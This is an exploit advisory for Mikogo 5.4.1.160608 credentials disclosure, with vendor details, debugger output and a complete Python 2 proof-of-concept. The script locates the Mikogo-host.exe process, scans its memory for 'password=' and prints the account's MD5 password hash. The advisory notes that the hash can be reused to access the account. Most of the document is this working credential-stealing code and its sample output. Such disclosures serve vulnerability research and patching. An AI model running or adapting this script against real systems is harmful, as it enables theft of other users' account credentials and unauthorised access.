Mikogo 5.4.1.160608 Local Credentials Disclosure

#!/usr/bin/env python # # # Mikogo 5.4.1.160608 Local Credentials Disclosure # # # Vendor: Snapview GmbH # Product web page: https://www.mikogo.com # Affected version: 5.4.1.160608 # # Summary: Mikogo is a desktop sharing software application for # web conferencing and remote support, and is provided by the online # collaboration provider, BeamYourScreen GmbH. Mikogo provides # its software as native downloads for Windows, Mac OS X, Linux, # iOS and Android. # # Desc: Mikogo is vulnerable to local credentials disclosure, the # supplied password is stored as a MD5 hash format in memory process. # A potential attacker could reveal the supplied password hash and # re-use it or store it via the configuration file in order to gain # access to the account. # # ------------------------------------------------------------------ # # 0:017> s -a 0 L?80000000 "password=" # 0125cdad 70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67 password=..&lang # 0146e6b8 70 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61 password=...doma # 06a422b3 70 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34 password=482C811 # 0:017> da 06a422b3 # 06a422b3 "password=482C811DA5D5B4BC6D497FF" # 06a422d3 "A98491E38...." # # ... # ... # # C:\Users\Charlie\Desktop>python mikogo_mem.py # [~] Searching for pid by process name 'Mikogo-host.exe'.. # [+] Found process with pid #1116 # [~] Trying to read memory for pid #1116 # [+] Credentials found! # ---------------------------------------- # [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38 # # ------------------------------------------------------------------ # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5439 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php # # # 03.07.2017 # # # Based on Yakir Wizman's PoC: # import time import urllib from winappdbg import Debug, Process username = '' password = '' found = 0 filename = "Mikogo-host.exe" process_pid = 0 memory_dump = [] debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'): memory_dump.append(process.read(address,42)) for i in range(len(memory_dump)): password = memory_dump[i].split('password=')[1] if password !='': found = 1 print "[+] Credentials found!\r\n----------------------------------------" print "[+] MD5 Password: %s" % password if found == 0: print "[-] Credentials not found! Make sure the client is connected." else: print "[-] No process found with name '%s'." % (filename) debug.loop() finally: debug.stop()